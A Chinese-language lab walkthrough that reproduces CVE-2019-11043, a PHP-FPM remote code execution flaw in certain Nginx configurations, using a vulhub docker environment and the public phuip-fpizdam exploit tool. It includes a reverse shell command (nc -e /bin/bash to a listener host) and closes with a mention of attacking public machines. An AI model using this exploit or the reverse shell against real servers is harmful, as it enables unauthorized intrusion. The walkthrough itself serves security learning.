漏洞描述
CVE-2019-11043 是一个远程代码执行漏洞, 使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞, 可允许攻击者远程执行代码.
向 Nginx + PHP-FPM 的服务器 URL 发送 时, 服务器返回异常.
该漏洞需要在 nginx.conf 中进行特定配置才能触发. 具体配置如下:
- location ~ [^/]\.PHP(/|$) {
- ...
- fastcgi_split_path_info ^(.+?\.PHP)(/.*)$;
- fastcgi_param PATH_INFO $fastcgi_path_info;
- fastcgi_pass PHP:9000;
- ...
- }
攻击者可以使用换行符 (%0a) 来破坏 fastcgi_split_path_info 指令中的 Regexp.Regexp 被损坏导致 PATH_INFO 为空, 从而触发该漏洞.
影响范围
在 Nginx + PHP-FPM 环境下, 当启用了上述 Nginx 配置后, 以下 PHP 版本受本次漏洞影响, 另外, PHP 5.6 版本也受此漏洞影响, 但目前只能 Crash, 不可以远程代码执行:
PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本
漏洞复现
使用 p 牛的 docker 环境进行复现:
PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md
准备工作: 安装 docker,golang 环境
- sudo apt-get install docker docker-compose
- sudo apt install golang
搭建漏洞环境
- Git clone https://github.com/vulhub/vulhub.git
- cd vulhub/PHP/CVE-2019-11043 && docker-compose up -d
启动环境之后, 就可以看到漏洞环境的默认页面. 在此为 http://127.0.0.1:8080/index.php.
安装漏洞利用工具
- Git clone https://github.com/neex/phuip-fpizdam.git
- cd phuip-fpizdam
- go get -v && go build
漏洞利用
url 中空格不影响命令执行:
p 牛友情提示: 您应该注意, 只有部分 PHP-FPM 子进程受到了污染, 因此请尝试几次以执行该命令.
反弹 shell:
因为我用的是 P 牛的环境, 里面没有 nc 命令. 所以不能用 nc 的反弹 shell.
给此 docer 容器装一个 nc:
p 牛的环境有两个 docker 镜像, 一个是 nginx, 一个是 PHP:
进入 nginx 的容器:
如图就装好了.
exit 此容器. 尝试在 url 里面 nc 我本地监听的端口:
没有成功.
但是继续观察, 可能是镜像不对. 因为 p 牛封装的这个环境有两个 docker, 刚刚都是在 nginx docker 镜像里面尝试的:
试试在 PHP 镜像里面装 nc. 毕竟,
换镜像装 nc:
然后 nc 连接成功:
试下反弹 shell:
nc -e /bin/bash 10.x.x.39 7777
反弹 shell 成功!
科学提速
这个环境我下了很久没下下来, 我之前一直在国外, 对一些换源, 换镜像不熟悉.
方法一: 阿里云容器镜像加速器
URL:https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
进去之后获取:
然后配置 docker 文件:
注: 上面的是阿里云, 下面的是中科院. 阿里云的更快, 只用阿里云就行了.
然后 restart 一下 docker:
- sudo systemctl daemon-reload
- sudo systemctl restart docker
然后就可以了!
参考链接:
[1] 镜像中心 - 镜像加速器
[2] 官方镜像加速 操作手册
重启 docker 之后, 速度仿佛换了个 docker, 很爽.
方法二: 系统代理
基于 http 协议的:
需要凭据:
- export http_proxy="http:// 用户名: 密码 @ip: 端口号 /"
- export https_proxy="http:// 用户名: 密码 @ip: 端口号 /"
无需凭据:
- export http_proxy="http://ip: 端口号 /"
- export https_proxy="http://ip: 端口号 /"
注意: 这种命令行运行是临时的, 要全局的话加入到 etc/profile.
基于 socks5 协议:
proxychains
打公网机器
来源: https://www.qcloud.com/developer/article/1530703